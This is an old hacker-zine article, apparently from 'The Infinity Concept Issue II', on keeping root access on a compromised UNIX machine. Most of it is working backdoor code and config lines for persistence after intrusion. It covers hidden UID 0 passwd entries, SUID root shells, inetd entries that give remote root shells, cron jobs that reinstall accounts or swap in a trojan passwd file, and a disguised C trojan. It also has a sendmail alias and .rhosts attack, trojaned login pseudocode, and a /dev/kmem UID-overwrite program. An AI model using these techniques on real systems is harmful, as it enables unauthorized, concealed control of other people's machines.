home *** CD-ROM | disk | FTP | other *** search
- Ok..... You've been at it for all night. Trying all the exploits you can
- think of. The system seems tight. The system looks tight. The system *is*
- tight. You've tried everything. Default passwds, guessable passwds, NIS
- weaknesses, NFS holes, incorrect permissions, race conditions, SUID
- exploits, Sendmail bugs, and so on... Nothing. WAIT! What's that!?!? A "#"
- ???? Finally! After seeming endless toiling, you've managed to steal root.
- Now what? How do you hold onto this precious super-user privilege you have
- worked so hard to achieve....?
-
- This article is intended to show you how to hold onto root once you have
- it. It is intended for hackers and administrators alike. From a hacking
- perspective, it is obvious what good this paper will do you. Admin's can
- likewise benefit from this paper. Ever wonder how that pesky hacker always
- manages to pop up, even when you think you've completely eradicated him
- from your system?
- This list is BY NO MEANS comprehensive. There are as many ways to leave
- backdoors into a UNIX computer as there are ways into one.
-
- ---------------------------------------------------------------------------
-
- Beforehand
-
- Know the location of critical system files. This should be obvious (If you
- can't list any of the top of your head, stop reading now, get a book on
- UNIX, read it, then come back to me...). Familiarity with passwd file
- formats (including general 7 field format, system specific naming
- conventions, shadowing mechanisms, etc...). Know vi. Many systems will not
- have those robust, user-friendly editors such as Pico and Emacs. Vi is also
- quite useful for needing to quickly seach and edit a large file. If you are
- connecting remotely (via dial-up/telnet/rlogin/whatver) it's always nice to
- have a robust terminal program that has a nice, FAT scrollback buffer. This
- will come in handy if you want to cut and paste code, rc files, shell
- scripts, etc...
-
- The permenance of these backdoors will depend completely on the technical
- saavy of the administrator. The experienced and skilled administrator will
- be wise to many (if not all) of these backdoors. But, if you have managed
- to steal root, it is likely the admin isn't as skilled (or up to date on
- bug reports) as she should be, and many of these doors may be in place for
- some time to come. One major thing to be aware of, is the fact that if you
- can cover you tracks during the initial break-in, no one will be looking
- for back doors.
-
- ---------------------------------------------------------------------------
-
- The Overt
-
- [1] Add a UID 0 account to the passwd file. This is probably the most
- obvious and quickly discovered method of rentry. It flies a red flag to the
- admin, saying "WE'RE UNDER ATTACK!!!". If you must do this, my advice is DO
- NOT simply prepend or append it. Anyone causally examining the passwd file
- will see this. So, why not stick it in the middle...
-
- #!/bin/csh
-
- # Inserts a UID 0 account into the middle of the passwd file.
-
- # There is likely a way to do this in 1/2 a line of AWK or SED. Oh well.
-
- # daemon9@netcom.com
-
- set linecount = `wc -l /etc/passwd`
-
- cd # Do this at home.
-
- cp /etc/passwd ./temppass # Safety first.
-
- echo passwd file has $linecount[1] lines.
-
- @ linecount[1] /= 2
-
- @ linecount[1] += 1 # we only want 2 temp files
-
- echo Creating two files, $linecount[1] lines each \(or approximately that\).
-
- split -$linecount[1] ./temppass # passwd string optional
-
- echo "EvilUser::0:0:Mr. Sinister:/home/sweet/home:/bin/csh" >> ./xaa
-
- cat ./xab >> ./xaa
-
- mv ./xaa /etc/passwd
-
- chmod 644 /etc/passwd # or whatever it was beforehand
-
- rm ./xa* ./temppass
-
- echo Done...
-
- NEVER, EVER, change the root password. The reasons are obvious.
-
- [2] In a similar vein, enable a disabled account as UID 0, such as Sync.
- Or, perhaps, an account somwhere buried deep in the passwd file has been
- abandoned, and disabled by the sysadmin. Change her UID to 0 (and remove
- the '*' from the second field).
-
- [3] Leave an SUID root shell in /tmp.
-
- #!/bin/sh
-
- # Everyone's favorite...
-
- cp /bin/csh /tmp/.evilnaughtyshell # Don't name it that...
-
- chmod 4755 /tmp/.evilnaughtyshell
-
- Many systems run cron jobs to clean /tmp nightly. Most systems clean /tmp
- upon a reboot. Many systems have /tmp mounted to disallow SUID programs
- from executing. You can change all of these, but if the filesystem starts
- filling up, people may notice...but, hey, this *is* the overt section....).
- I will not detail the changes neccessary because they can be quite system
- specific. Check out /var/spool/cron/crontabs/root and /etc/fstab.
-
- ---------------------------------------------------------------------------
-
- The Veiled
-
- [4] The super-server configuration file is not the first place a sysadmin
- will look, so why not put one there? First, some background info: The
- Internet daemon (/etc/inetd) listens for connection requests on TCP and UDP
- ports and spawns the appropriate program (usally a server) when a
- connection request arrives. The format of the /etc/inetd.conf file is
- simple. Typical lines look like this:
-
- (1) (2) (3) (4) (5) (6) (7)
-
- ftp stream tcp nowait root /usr/etc/ftpd ftpd
-
- talk dgram udp wait root /usr/etc/ntalkd ntalkd
-
- Field (1) is the daemon name that should appear in /etc/services. This
- tells inetd what to look for in /etc/services to determine which port it
- should associate the program name with. (2) tells inetd which type of
- socket connection the daemon will expect. TCP uses streams, and UDP uses
- datagrams. Field (3) is the protocol field which is either of the two
- transport protocols, TCP or UDP. Field (4) specifies whether or not the
- daemon is iterative or concurrent. A 'wait' flag indicates that the server
- will process a connection and make all subsequent connections wait.
- 'Nowait' means the server will accept a connection, spawn a child process
- to handle the connection, and then go back to sleep, waiting for further
- connections. Field (5) is the user (or more inportantly, the UID) that the
- daemon is run as. (6) is the program to run when a connection arrives, and
- (7) is the actual command (and optional arguments). If the program is
- trivial (usally requiring no user interaction) inetd may handle it
- internally. This is done with an 'internal' flag in fields (6) and (7).
- So, to install a handy backdoor, choose a service that is not used often,
- and replace the daemon that would normally handle it with something else. A
- program that creates an SUID root shell, a program that adds a root account
- for you in the /etc/passwd file, etc...
- For the insinuation-impaired, try this:
-
- Open the /etc/inetd.conf in an available editor. Find the line that reads:
-
-
-
- daytime stream tcp nowait root internal
-
- and change it to:
-
- daytime stream tcp nowait /bin/sh sh -i.
-
- You now need to restart /etc/inetd so it will reread the config file. It is
- up to you how you want to do this. You can kill and restart the process,
- (kill -9 , /usr/sbin/inetd or /usr/etc/inetd) which will interuppt ALL
- network connections (so it is a good idea to do this off peak hours).
-
- [5] An option to compromising a well known service would be to install a
- new one, that runs a program of your choice. One simple solution is to set
- up a shell the runs similar to the above backdoor. You need to make sure
- the entry appears in /etc/services as well as in /etc/inetd.conf. The
- format of the /etc/services file is simple:
-
- (1) (2)/(3) (4)
-
- smtp 25/tcp mail
-
- Field (1) is the service, field (2) is the port number, (3) is the protocol
- type the service expects, and (4) is the common name associated with the
- service. For instance, add this line to /etc/services:
-
- evil 22/tcp evil
-
- and this line to /etc/inetd.conf:
-
- evil stream tcp nowait /bin/sh sh -i
-
- Restart inetd as before.
-
- Note: Potentially, these are a VERY powerful backdoors. They not only offer
- local rentry from any account on the system, they offer rentry from *any*
- account on *any* computer on the Internet.
-
- [6] Cron-based trojan I. Cron is a wonderful system administration tool. It
- is also a wonderful tool for backdoors, since root's crontab will, well,
- run as root... Again, depending on the level of experience of the sysadmin
- (and the implementation), this backdoor may or may not last.
- /var/spool/cron/crontabs/root is where root's list for crontabs is usally
- located. Here, you have several options. I will list a only few, as
- cron-based backdoors are only limited by your imagination. Cron is the
- clock daemon. It is a tool for automatically executing commands at
- specified dates and times. Crontab is the command used to add, remove, or
- view your crontab entries. It is just as easy to manually edit the
- /var/spool/crontab/root file as it is to use crontab. A crontab entry has
- six fields:
-
- (1) (2) (3) (4) (5) (6)
-
- 0 0 * * 1 /usr/bin/updatedb
-
- Fields (1)-(5) are as follows: minute (0-59), hour (0-23), day of the month
- (1-31) month of the year (1-12), day of the week (0-6). Field (6) is the
- command (or shell script) to execute. The above shell script is executed on
- Mondays. To exploit cron, simply add an entry into /var/spool/crontab/root.
- For example: You can have a cronjob that will run daily and look in the
- /etc/passwd file for the UID 0 account we previously added, and add him if
- he is missing, or do nothing otherwise (it may not be a bad idea to
- actually *insert* this shell code into an already installed crontab entry
- shell script, to further obfuscate your shady intentions). Add this line to
- /var/spool/crontab/root:
-
- 0 0 * * * /usr/bin/trojancode
-
- This is the shell script:
-
- #!/bin/csh
-
- # Is our eviluser still on the system? Let's make sure he is.
-
- #daemon9@netcom.com
-
- set evilflag = (`grep eviluser /etc/passwd`)
-
- if($#evilflag == 0) then # Is he there?
-
-
-
- set linecount = `wc -l /etc/passwd`
-
- cd # Do this at home.
-
- cp /etc/passwd ./temppass # Safety first.
-
- @ linecount[1] /= 2
-
- @ linecount[1] += 1 # we only want 2 temp files
-
- split -$linecount[1] ./temppass # passwd string optional
-
- echo "EvilUser::0:0:Mr. Sinister:/home/sweet/home:/bin/csh" >> ./xaa
-
- cat ./xab >> ./xaa
-
- mv ./xaa /etc/passwd
-
- chmod 644 /etc/passwd # or whatever it was beforehand
-
- rm ./xa* ./temppass
-
- echo Done...
-
- else
-
- endif
-
- [7] Cron-based trojan II. This one was brought to my attention by our very
- own Mr. Zippy. For this, you need a copy of the /etc/passwd file hidden
- somewhere. In this hidden passwd file (call it /var/spool/mail/.sneaky) we
- have but one entry, a root account with a passwd of your choosing. We run a
- cronjob that will, every morning at 2:30am (or every other morning), save a
- copy of the real /etc/passwd file, and install this trojan one as the real
- /etc/passwd file for one minute (synchronize swatches!). Any normal user or
- process trying to login or access the /etc/passwd file would get an error,
- but one minute later, everything would be ok. Add this line to root's
- crontab file:
-
- 29 2 * * * /bin/usr/sneakysneaky_passwd
-
- make sure this exists:
-
- #echo "root:1234567890123:0:0:Operator:/:/bin/csh" > /var/spool/mail/.sneaky
-
- and this is the simple shell script:
-
- #!/bin/csh
-
- # Install trojan /etc/passwd file for one minute
-
- #daemon9@netcom.com
-
- cp /etc/passwd /etc/.temppass
-
- cp /var/spool/mail/.sneaky /etc/passwd
-
- sleep 60
-
- mv /etc/.temppass /etc/passwd
-
- [8] Compiled code trojan. Simple idea. Instead of a shell script, have some
- nice C code to obfuscate the effects. Here it is. Make sure it runs as
- root. Name it something innocous. Hide it well.
-
- /* A little trojan to create an SUID root shell, if the proper argument is
-
- given. C code, rather than shell to hide obvious it's effects. */
-
- /* daemon9@netcom.com */
-
- #include
-
- #define KEYWORD "industry3"
-
- #define BUFFERSIZE 10
-
- int main(argc, argv)
-
- int argc;
-
- char *argv[];{
-
- int i=0;
-
- if(argv[1]){ /* we've got an argument, is it the keyword? */
-
- if(!(strcmp(KEYWORD,argv[1]))){
-
-
-
- /* This is the trojan part. */
-
- system("cp /bin/csh /bin/.swp121");
-
- system("chown root /bin/.swp121");
-
- system("chmod 4755 /bin/.swp121");
-
- }
-
- }
-
- /* Put your possibly system specific trojan
-
- messages here */
-
- /* Let's look like we're doing something... */
-
- printf("Sychronizing bitmap image records.");
-
- /* system("ls -alR / >& /dev/null > /dev/null&"); */
-
- for(;i<10;i++){
-
- fprintf(stderr,".");
-
- sleep(1);
-
- }
-
- printf("\nDone.\n");
-
- return(0);
-
- } /* End main */
-
- [9] The sendmail aliases file. The sendmail aliases file allows for mail
- sent to a particular username to either expand to several users, or perhaps
- pipe the output to a program. Most well known of these is the uudecode
- alias trojan. Simply add the line:
-
- "decode: "|/usr/bin/uudecode"
-
- to the /etc/aliases file. Usally, you would then create a uuencoded .rhosts
- file with the full pathname embedded.
-
- #! /bin/csh
-
- # Create our .rhosts file. Note this will output to stdout.
-
- echo "+ +" > tmpfile
-
- /usr/bin/uuencode tmpfile /root/.rhosts
-
- Next telnet to the desired site, port 25. Simply fakemail to decode and use
- as the subject body, the uuencoded version of the .rhosts file. For a one
- liner (not faked, however) do this:
-
- %echo "+ +" | /usr/bin/uuencode /root/.rhosts | mail decode@target.com
-
- You can be as creative as you wish in this case. You can setup an alias
- that, when mailed to, will run a program of your choosing. Many of the
- previous scripts and methods can be employed here.
-
- ---------------------------------------------------------------------------
-
- The Covert
-
- [10] Trojan code in common programs. This is a rather sneaky method that is
- really only detectable by programs such tripwire. The idea is simple:
- insert trojan code in the source of a commonly used program. Some of most
- useful programs to us in this case are su, login and passwd because they
- already run SUID root, and need no permission modification. Below are some
- general examples of what you would want to do, after obtaining the correct
- sourcecode for the particular flavor of UNIX you are backdooring. (Note:
- This may not always be possible, as some UNIX vendors are not so generous
- with thier sourcecode.) Since the code is very lengthy and different for
- many flavors, I will just include basic psuedo-code:
-
- get input;
-
- if input is special hardcoded flag, spawn evil trojan;
-
- else if input is valid, continue;
-
- else quit with error;
-
- ...
-
- Not complex or difficult. Trojans of this nature can be done in less than
- 10 lines of additional code.
-
- ---------------------------------------------------------------------------
-
- The Esoteric
-
- [11] /dev/kmem exploit. It represents the virtual of the system. Since the
- kernel keeps it's parameters in memory, it is possible to modify the memory
- of the machine to change the UID of your processes. To do so requires that
- /dev/kmem have read/write permission. The following steps are executed:
- Open the /dev/kmem device, seek to your page in memory, overwrite the UID
- of your current process, then spawn a csh, which will inherit this UID. The
- following program does just that.
-
- /* If /kmem is is readable and writable, this program will change the user's
-
- UID and GID to 0. */
-
- /* This code originally appeared in "UNIX security: A practical tutorial"
-
- with some modifications by daemon9@netcom.com */
-
- #include
-
- #include
-
- #include
-
- #include
-
- #include
-
- #include
-
- #include
-
- #define KEYWORD "nomenclature1"
-
- struct user userpage;
-
- long address(), userlocation;
-
- int main(argc, argv, envp)
-
- int argc;
-
- char *argv[], *envp[];{
-
- int count, fd;
-
- long where, lseek();
-
-
-
- if(argv[1]){ /* we've got an argument, is it the keyword? */
-
- if(!(strcmp(KEYWORD,argv[1]))){
-
- fd=(open("/dev/kmem",O_RDWR);
-
- if(fd<0){
-
- printf("Cannot read or write to /dev/kmem\n");
-
- perror(argv);
-
- exit(10);
-
- }
-
-
-
- userlocation=address();
-
- where=(lseek(fd,userlocation,0);
-
-
-
- if(where!=userlocation){
-
- printf("Cannot seek to user page\n");
-
- perror(argv);
-
- exit(20);
-
- }
-
- count=read(fd,&userpage,sizeof(struct user));
-
-
-
- if(count!=sizeof(struct user)){
-
- printf("Cannot read user page\n");
-
- perror(argv);
-
- exit(30);
-
- }
-
- printf("Current UID: %d\n",userpage.u_ruid);
-
- printf("Current GID: %d\n",userpage.g_ruid);
-
-
-
- userpage.u_ruid=0;
-
- userpage.u_rgid=0;
-
-
-
- where=lseek(fd,userlocation,0);
-
- if(where!=userlocation){
-
- printf("Cannot seek to user page\n");
-
- perror(argv);
-
- exit(40);
-
- }
-
-
-
- write(fd,&userpage,((char *)&(userpage.u_procp))-((char *)&userpage));
-
-
-
- execle("/bin/csh","/bin/csh","-i",(char *)0, envp);
-
- }
-
- }
-
- } /* End main */
-
- #include
-
- #include
-
- #include
-
- #define LNULL ((LDFILE *)0)
-
- long address(){
-
-
-
- LDFILE *object;
-
- SYMENT symbol;
-
- long idx=0;
-
- object=ldopen("/unix",LNULL);
-
- if(!object){
-
- fprintf(stderr,"Cannot open /unix.\n");
-
- exit(50);
-
- }
-
- for(;ldtbread(object,idx,&symbol)==SUCCESS;idx++){
-
- if(!strcmp("_u",ldgetname(object,&symbol))){
-
- fprintf(stdout,"User page is at 0x%8.8x\n",symbol.n_value);
-
- ldclose(object);
-
- return(symbol.n_value);
-
- }
-
- }
-
- fprintf(stderr,"Cannot read symbol table in /unix.\n");
-
- exit(60);
-
- }
-
- [12] Since the previous code requires /dev/kmem to be world accessable, and
- this is not likely a natural event, we need to take care of this. My advice
- is to write a shell script similar to the one in [7] that will change the
- permissions on /dev/kmem for a discrete amount of time (say 5 minutes) and
- then restore the original permissions. You can add this source to the
- source in [7]:
-
- chmod 666 /dev/kmem
-
- sleep 300 # Nap for 5 minutes
-
- chmod 600 /dev/kmem # Or whatever it was before
-
- ---------------------------------------------------------------------------
-
- From The Infinity Concept Issue II
-